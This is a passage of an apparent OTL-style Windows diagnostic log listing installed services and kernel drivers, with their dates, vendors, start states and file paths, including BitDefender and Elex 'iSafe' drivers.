SRV - [2009/07/14 01:15:41 | 000,049,664 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\mmcss.dll -- (MMCSS)
SRV - [2009/07/14 01:15:36 | 000,189,952 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\lltdsvc.dll -- (lltdsvc)
SRV - [2009/07/14 01:15:36 | 000,018,432 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\lmhsvc.dll -- (lmhosts)
SRV - [2009/07/14 01:15:34 | 000,114,688 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\iscsiexe.dll -- (MSiSCSI)
SRV - [2009/07/14 01:15:33 | 000,300,544 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\ipnathlp.dll -- (SharedAccess)
SRV - [2009/07/14 01:15:33 | 000,078,848 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\IPBusEnum.dll -- (IPBusEnum)
SRV - [2009/07/14 01:15:24 | 000,049,152 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\hidserv.dll -- (hidserv)
SRV - [2009/07/14 01:15:20 | 000,028,160 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\FDResPub.dll -- (FDResPub)
SRV - [2009/07/14 01:15:20 | 000,012,800 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\fdPHost.dll -- (fdPHost)
SRV - [2009/07/14 01:15:19 | 000,271,360 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\es.dll -- (EventSystem)
SRV - [2009/07/14 01:15:13 | 000,098,304 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\System32\eapsvc.dll -- (EapHost)
SRV - [2009/07/14 01:15:10 | 000,218,624 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\defragsvc.dll -- (defragsvc)
SRV - [2009/07/14 01:15:00 | 000,064,512 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\System32\bthserv.dll -- (bthserv)
SRV - [2009/07/14 01:14:59 | 000,076,800 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\bdesvc.dll -- (BDESVC)
SRV - [2009/07/14 01:14:53 | 000,149,504 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\appmgmts.dll -- (AppMgmt)
SRV - [2009/07/14 01:14:53 | 000,062,464 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\System32\aelupsvc.dll -- (AeLookupSvc)
SRV - [2009/07/14 01:14:53 | 000,027,648 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\appidsvc.dll -- (AppIDSvc)
SRV - [2009/07/14 01:14:46 | 000,136,192 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\wbem\WmiApSrv.exe -- (wmiApSrv)
SRV - [2009/07/14 01:14:43 | 000,035,840 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\UI0Detect.exe -- (UI0Detect)
SRV - [2009/07/14 01:14:39 | 000,012,800 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\snmptrap.exe -- (SNMPTRAP)
SRV - [2009/07/14 01:14:35 | 000,428,032 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\System32\SearchIndexer.exe -- (WSearch)
SRV - [2009/07/14 01:14:25 | 000,134,144 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\msdtc.exe -- (MSDTC)
SRV - [2009/07/14 01:14:22 | 000,009,216 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\Locator.exe -- (RpcLocator)
SRV - [2009/07/14 01:14:19 | 000,094,720 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\ehome\ehsched.exe -- (ehSched)
SRV - [2009/07/14 01:14:18 | 000,007,168 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\dllhost.exe -- (COMSysApp)
SRV - [2009/07/14 01:14:11 | 000,059,392 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\alg.exe -- (ALG)
SRV - [2009/06/10 21:14:51 | 000,042,856 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\Microsoft.NET\Framework\v3.0\WPF\PresentationFontCache.exe -- (FontCache3.0.0.0)
SRV - [2009/05/14 16:48:08 | 000,053,760 | ---- | M] (Hewlett-Packard) [Auto | Running] -- C:\Windows\System32\HPZipm12.dll -- (Pml Driver HPZ12)
SRV - [2009/05/14 16:48:06 | 000,044,032 | ---- | M] (Hewlett-Packard) [Auto | Running] -- C:\Windows\System32\HPZinw12.dll -- (Net Driver HPZ12)
SRV - [2005/11/14 01:06:04 | 000,069,632 | ---- | M] (Macrovision Corporation) [On_Demand | Stopped] -- C:\Program Files\Common Files\InstallShield\Driver\1150\Intel 32\IDriverT.exe -- (IDriverT)


[color=#E56717]========== Driver Services (All) ==========[/color]

DRV - File not found [Kernel | On_Demand | Stopped] -- system32\DRIVERS\vmnetadapter.sys -- (VMnetAdapter)
DRV - File not found [Kernel | On_Demand | Stopped] -- System32\drivers\rdvgkmd.sys -- (VGPU)
DRV - File not found [Kernel | On_Demand | Stopped] -- system32\drivers\tsusbhub.sys -- (tsusbhub)
DRV - File not found [Kernel | On_Demand | Stopped] -- System32\drivers\synth3dvsc.sys -- (Synth3dVsc)
DRV - File not found [Kernel | On_Demand | Stopped] -- system32\DRIVERS\ewusbmdm.sys -- (hwdatacard)
DRV - File not found [Kernel | On_Demand | Stopped] -- system32\DRIVERS\ew_jubusenum.sys -- (huawei_enumerator)
DRV - File not found [Kernel | On_Demand | Stopped] -- system32\DRIVERS\ewusbwwan.sys -- (ewusbmbb)
DRV - File not found [Kernel | On_Demand | Stopped] -- system32\DRIVERS\ew_hwusbdev.sys -- (ew_hwusbdev)
DRV - [2015/06/10 06:29:24 | 000,226,024 | ---- | M] (Elex do Brasil Participações Ltda) [File_System | System | Running] -- C:\Program Files\Elex-tech\YAC\iSafeKrnl.sys -- (iSafeKrnl)
DRV - [2015/06/10 06:29:24 | 000,096,424 | ---- | M] (Elex do Brasil Participações Ltda) [Kernel | System | Running] -- C:\Program Files\Elex-tech\YAC\iSafeKrnlKit.sys -- (iSafeKrnlKit)
DRV - [2015/06/10 06:29:24 | 000,048,784 | ---- | M] (Elex do Brasil Participações Ltda) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\iSafeKrnlBoot.sys -- (iSafeKrnlBoot)
DRV - [2015/06/10 06:29:24 | 000,043,536 | ---- | M] (Elex do Brasil Participações Ltda) [File_System | System | Running] -- C:\Program Files\Elex-tech\YAC\iSafeKrnlMon.sys -- (iSafeKrnlMon)
DRV - [2015/06/10 06:29:19 | 000,071,744 | ---- | M] (Elex do Brasil Participações Ltda) [Kernel | System | Running] -- C:\Program Files\Elex-tech\YAC\iSafeKrnlR3.sys -- (iSafeKrnlR3)
DRV - [2015/04/17 02:43:55 | 000,044,712 | ---- | M] (Elex do Brasil Participações Ltda) [Kernel | System | Running] -- C:\Windows\System32\drivers\iSafeNetFilter.sys -- (iSafeNetFilter)
DRV - [2015/01/15 07:46:05 | 000,136,640 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\ksecpkg.sys -- (KSecPkg)
DRV - [2015/01/15 07:46:05 | 000,067,520 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\ksecdd.sys -- (KSecDD)
DRV - [2015/01/15 04:21:41 | 000,369,968 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\cng.sys -- (CNG)
DRV - [2014/06/17 12:51:54 | 000,052,928 | ---- | M] (StdLib) [Kernel | System | Running] -- C:\Windows\System32\drivers\{c486bc7a-4f2c-4a8b-ac38-4952f70809b9}Gw.sys -- ({c486bc7a-4f2c-4a8b-ac38-4952f70809b9}Gw)
DRV - [2014/02/04 02:07:50 | 000,234,432 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\msiscsi.sys -- (iScsiPrt)
DRV - [2014/01/24 02:18:22 | 001,212,352 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Running] -- C:\Windows\System32\drivers\ntfs.sys -- (Ntfs)
DRV - [2013/11/27 01:14:25 | 000,258,560 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\usbhub.sys -- (usbhub)
DRV - [2013/11/27 01:13:44 | 000,076,288 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\usbccgp.sys -- (usbccgp)
DRV - [2013/11/27 01:13:41 | 000,043,520 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\usbehci.sys -- (usbehci)
DRV - [2013/11/27 01:13:38 | 000,020,480 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\usbohci.sys -- (usbohci)
DRV - [2013/11/27 01:13:36 | 000,024,064 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\usbuhci.sys -- (usbuhci)
DRV - [2013/09/14 00:48:58 | 000,338,944 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\afd.sys -- (AFD)
DRV - [2013/09/08 02:07:12 | 001,294,272 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\tcpip.sys -- (TCPIP6)
DRV - [2013/09/08 02:07:12 | 001,294,272 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\tcpip.sys -- (Tcpip)
DRV - [2013/07/12 10:08:19 | 000,146,816 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\usbvideo.sys -- (usbvideo)
DRV - [2013/07/12 10:07:54 | 000,086,016 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\usbcir.sys -- (usbcir)
DRV - [2013/07/04 09:48:52 | 000,115,712 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\System32\drivers\mrxdav.sys -- (MRxDAV)
DRV - [2013/06/25 22:56:40 | 000,527,064 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\Wdf01000.sys -- (Wdf01000)
DRV - [2013/01/24 04:47:07 | 000,196,328 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\fvevol.sys -- (fvevol)
DRV - [2012/11/11 22:39:11 | 000,291,352 | ---- | M] (BitDefender) [File_System | Boot | Running] -- C:\Windows\System32\drivers\bdfsfltr.sys -- (bdfsfltr)
DRV - [2012/11/11 22:38:56 | 000,072,784 | ---- | M] (BitDefender LLC) [Kernel | System | Running] -- C:\Windows\System32\drivers\BdfNdisf6.sys -- (BdfNdisf)
DRV - [2012/11/11 22:36:13 | 000,153,448 | ---- | M] (BitDefender S.R.L. Bucharest, ROMANIA) [File_System | On_Demand | Running] -- C:\Windows\System32\drivers\bdfm.sys -- (BDFM)
DRV - [2012/11/11 22:36:07 | 000,085,128 | ---- | M] (BitDefender) [Kernel | Auto | Running] -- C:\Program Files\BitDefender\BitDefender 2010\bdvedisk.sys -- (BDVEDISK)
DRV - [2012/11/11 22:35:38 | 000,014,720 | ---- | M] (BitDefender S.R.L.) [Kernel | On_Demand | Stopped] -- C:\Program Files\Common Files\BitDefender\BitDefender Threat Scanner\profos.sys -- (Profos)
DRV - [2012/11/11 22:35:35 | 000,055,936 | ---- | M] (BitDefender) [Kernel | On_Demand | Stopped] -- C:\Program Files\BitDefender\BitDefender 2010\bdselfpr.sys -- (BDSelfPr)
DRV - [2012/11/11 22:34:18 | 000,079,952 | ---- | M] (BitDefender LLC) [Kernel | System | Running] -- C:\Program Files\Common Files\BitDefender\BitDefender Firewall\bdfwfpf.sys -- (bdfwfpf)
DRV - [2012/10/03 15:21:38 | 000,035,328 | ---- | M] (Microsoft Corporation) [Kernel | Auto | Running] -- C:\Windows\System32\drivers\tcpipreg.sys -- (tcpipreg)
DRV - [2012/07/06 19:23:23 | 000,393,728 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\bthport.sys -- (BTHPORT)
DRV - [2012/04/28 03:17:07 | 000,183,808 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\rdpwd.sys -- (RDPWD)
DRV - [2012/03/17 07:27:18 | 000,056,176 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\partmgr.sys -- (partmgr)
DRV - [2012/03/01 05:46:57 | 000,019,824 | ---- | M] (Microsoft Corporation) [Recognizer | Boot | Unknown] -- C:\Windows\System32\drivers\fs_rec.sys -- (Fs_Rec)
DRV - [2012/02/17 04:13:22 | 000,024,576 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\tdtcp.sys -- (TDTCP)
DRV - [2011/07/09 02:30:00 | 000,223,744 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Running] -- C:\Windows\System32\drivers\mrxsmb10.sys -- (mrxsmb10)
DRV - [2011/04/29 02:46:33 | 000,311,808 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Running] -- C:\Windows\System32\drivers\srv.sys -- (srv)
DRV - [2011/04/29 02:46:15 | 000,310,272 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Running] -- C:\Windows\System32\drivers\srv2.sys -- (srv2)
DRV - [2011/04/29 02:46:10 | 000,114,688 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Running] -- C:\Windows\System32\drivers\srvnet.sys -- (srvnet)
DRV - [2011/04/28 03:15:03 | 000,060,416 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\BTHUSB.SYS -- (BTHUSB)
DRV - [2011/04/27 02:17:28 | 000,096,768 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Running] -- C:\Windows\System32\drivers\mrxsmb20.sys -- (mrxsmb20)
DRV - [2011/04/27 02:17:22 | 000,123,904 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Running] -- C:\Windows\System32\drivers\mrxsmb.sys -- (mrxsmb)
DRV - [2011/03/11 05:39:00 | 000,143,744 | ---- | M] (NVIDIA Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\nvstor.sys -- (nvstor)
DRV - [2011/03/11 05:39:00 | 000,117,120 | ---- | M] (NVIDIA Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\nvraid.sys -- (nvraid)
DRV - [2011/03/11 05:38:51 | 000,332,160 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\iaStorV.sys -- (iaStorV)
DRV - [2011/03/11 05:38:37 | 000,080,256 | ---- | M] (Advanced Micro Devices) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\amdsata.sys -- (amdsata)
DRV - [2011/03/11 05:38:37 | 000,022,400 | ---- | M] (Advanced Micro Devices) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\amdxata.sys -- (amdxata)
DRV - [2011/03/11 04:01:12 | 000,076,288 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\USBSTOR.SYS -- (USBSTOR)
DRV - [2011/02/23 04:47:33 | 000,069,632 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Running] -- C:\Windows\System32\drivers\bowser.sys -- (bowser)
DRV - [2010/11/20 12:30:16 | 000,245,632 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\volsnap.sys -- (volsnap)
DRV - [2010/11/20 12:30:16 | 000,053,120 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\volmgr.sys -- (volmgr)
DRV - [2010/11/20 12:30:15 | 000,175,360 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\vmbus.sys -- (vmbus)
DRV - [2010/11/20 12:30:15 | 000,040,704 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\vmstorfl.sys -- (storflt)
DRV - [2010/11/20 12:30:15 | 000,028,032 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\storvsc.sys -- (storvsc)
DRV - [2010/11/20 12:30:14 | 000,160,128 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\vhdmp.sys -- (vhdmp)
DRV - [2010/11/20 12:30:12 | 000,053,120 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\termdd.sys -- (TermDD)
DRV - [2010/11/20 12:30:10 | 000,173,440 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\rdyboost.sys -- (rdyboost)
DRV - [2010/11/20 12:30:10 | 000,085,376 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\sbp2port.sys -- (sbp2port)
DRV - [2010/11/20 12:30:06 | 000,712,576 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\ndis.sys -- (NDIS)
DRV - [2010/11/20 12:30:06 | 000,153,984 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\pci.sys -- (pci)
DRV - [2010/11/20 12:30:04 | 000,116,096 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\msdsm.sys -- (msdsm)
DRV - [2010/11/20 12:30:01 | 000,130,432 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\mpio.sys -- (mpio)
DRV - [2010/11/20 12:30:01 | 000,028,032 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\msahci.sys -- (msahci)
DRV - [2010/11/20 12:30:00 | 000,078,208 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\mountmgr.sys -- (mountmgr)
DRV - [2010/11/20 12:29:53 | 000,014,208 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\hwpolicy.sys -- (hwpolicy)
DRV - [2010/11/20 12:29:47 | 000,728,448 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\dxgkrnl.sys -- (DXGKrnl)
DRV - [2010/11/20 12:29:15 | 000,274,304 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\acpi.sys -- (ACPI)
DRV - [2010/11/20 10:24:46 | 000,133,632 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\rdpdr.sys -- (RDPDR)
DRV - [2010/11/20 10:24:41 | 000,052,224 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\TsUsbFlt.sys -- (TsUsbFlt)
DRV - [2010/11/20 10:22:20 | 000,031,232 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\tssecsrv.sys -- (tssecsrv)
DRV - [2010/11/20 10:22:19 | 000,006,656 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\RDPCDD.sys -- (RDPCDD)
DRV - [2010/11/20 10:21:14 | 000,015,872 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\rdpvideominiport.sys -- (RdpVideoMiniport)
DRV - [2010/11/20 10:21:10 | 000,018,432 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\tdpipe.sys -- (TDPIPE)
DRV - [2010/11/20 10:07:50 | 000,118,784 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\ndiswan.sys -- (NdisWan)
DRV - [2010/11/20 10:07:45 | 000,063,488 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\wanarp.sys -- (Wanarpv6)
DRV - [2010/11/20 10:07:45 | 000,063,488 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\wanarp.sys -- (WANARP)
DRV - [2010/11/20 10:07:39 | 000,048,640 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\ndproxy.sys -- (NDProxy)
DRV - [2010/11/20 10:06:41 | 000,108,544 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\tunnel.sys -- (tunnel)
DRV - [2010/11/20 10:06:36 | 000,046,080 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\ndisuio.sys -- (Ndisuio)
DRV - [2010/11/20 10:01:12 | 000,164,864 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\1394ohci.sys -- (1394ohci)
DRV - [2010/11/20 10:00:24 | 000,039,936 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\umbus.sys -- (umbus)
DRV - [2010/11/20 10:00:21 | 000,304,128 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\HdAudio.sys -- (HdAudAddService)
DRV - [2010/11/20 09:59:44 | 000,035,968 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\winusb.sys -- (WinUsb)
DRV - [2010/11/20 09:59:38 | 000,024,064 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\hidusb.sys -- (HidUsb)
DRV - [2010/11/20 09:59:29 | 000,108,544 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\hdaudbus.sys -- (HDAudBus)
DRV - [2010/11/20 09:59:20 | 000,132,224 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\WUDFRd.sys -- (WUDFRd)
DRV - [2010/11/20 09:58:59 | 000,092,672 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\WUDFPf.sys -- (WudfPf)
DRV - [2010/11/20 09:50:49 | 000,012,800 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\sffp_sd.sys -- (sffp_sd)
DRV - [2010/11/20 09:50:21 | 000,031,232 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\CompositeBus.sys -- (CompositeBus)
DRV - [2010/11/20 09:50:10 | 000,028,160 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\kbdhid.sys -- (kbdhid)
DRV - [2010/11/20 09:50:05 | 000,016,384 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\Dot4Prt.sys -- (Dot4Print)
DRV - [2010/11/20 09:29:49 | 000,050,176 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\appid.sys -- (AppID)
DRV - [2010/11/20 09:24:56 | 000,026,624 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\scfilter.sys -- (scfilter)
DRV - [2010/11/20 09:19:15 | 000,065,536 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\IPMIDrv.sys -- (IPMIDRV)
DRV - [2010/11/20 09:14:45 | 000,017,920 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\VMBusHID.sys -- (VMBusHID)
DRV - [2010/11/20 09:14:41 | 000,005,632 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\vms3cap.sys -- (s3cap)
DRV - [2010/11/20 08:47:55 | 000,010,240 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\acpipmi.sys -- (AcpiPmi)
DRV - [2010/11/20 08:44:36 | 000,388,096 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\csc.sys -- (CSC)
DRV - [2010/11/20 08:44:05 | 000,242,688 | ---- | M] (Microsoft Corporation) [File_System | System | Running] -- C:\Windows\System32\drivers\rdbss.sys -- (rdbss)
DRV - [2010/11/20 08:42:32 | 000,078,336 | ---- | M] (Microsoft Corporation) [File_System | System | Running] -- C:\Windows\System32\drivers\dfsc.sys -- (DfsC)
DRV - [2010/11/20 08:42:28 | 000,246,784 | ---- | M] (Microsoft Corporation) [File_System | Disabled | Stopped] -- C:\Windows\System32\drivers\udfs.sys -- (udfs)
DRV - [2010/11/20 08:40:21 | 000,513,536 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\http.sys -- (HTTP)
DRV - [2010/11/20 08:39:44 | 000,187,904 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\netbt.sys -- (NetBT)
DRV - [2010/11/20 08:39:17 | 000,074,752 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\tdx.sys -- (tdx)
DRV - [2010/11/20 08:38:10 | 000,108,544 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\cdrom.sys -- (cdrom)
DRV - [2010/06/25 17:07:14 | 000,035,088 | ---- | M] (CACE Technologies, Inc.) [Kernel | Auto | Running] -- C:\Windows\System32\drivers\npf.sys -- (NPF)
DRV - [2010/04/03 11:02:54 | 000,240,608 | ---- | M] (Microsoft Corporation) [File_System | Disabled | Stopped] -- C:\Windows\System32\drivers\RsFx0150.sys -- (RsFx0150)
DRV - [2010/01/13 16:36:40 | 006,755,840 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\NETw5s32.sys -- (NETw5s32)
DRV - [2009/09/23 19:18:14 | 004,808,192 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\igdkmd32.sys -- (igfx)
DRV - [2009/07/14 01:26:21 | 000,249,408 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\clfs.sys -- (CLFS)
DRV - [2009/07/14 01:26:21 | 000,019,024 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\compbatt.sys -- (Compbatt)
DRV - [2009/07/14 01:26:21 | 000,015,952 | ---- | M] (CMD Technology, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\cmdide.sys -- (cmdide)
DRV - [2009/07/14 01:26:17 | 000,297,552 | ---- | M] (Adaptec, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\adpahci.sys -- (adpahci)
DRV - [2009/07/14 01:26:15 | 000,422,976 | ---- | M] (Adaptec, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\adp94xx.sys -- (adp94xx)
DRV - [2009/07/14 01:26:15 | 000,159,312 | ---- | M] (AMD Technologies Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\amdsbs.sys -- (amdsbs)
DRV - [2009/07/14 01:26:15 | 000,146,512 | ---- | M] (Adaptec, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\adpu320.sys -- (adpu320)
DRV - [2009/07/14 01:26:15 | 000,086,608 | ---- | M] (Adaptec, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\arcsas.sys -- (arcsas)
DRV - [2009/07/14 01:26:15 | 000,076,368 | ---- | M] (Adaptec, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\arc.sys -- (arc)
DRV - [2009/07/14 01:26:15 | 000,053,312 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\AMDAGP.SYS -- (amdagp)
DRV - [2009/07/14 01:26:15 | 000,053,312 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\AGP440.sys -- (agp440)
DRV - [2009/07/14 01:26:15 | 000,021,584 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\atapi.sys -- (atapi)
DRV - [2009/07/14 01:26:15 | 000,014,912 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\amdide.sys -- (amdide)
DRV - [2009/07/14 01:26:15 | 000,014,400 | ---- | M] (Acer Laboratories Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\aliide.sys -- (aliide)
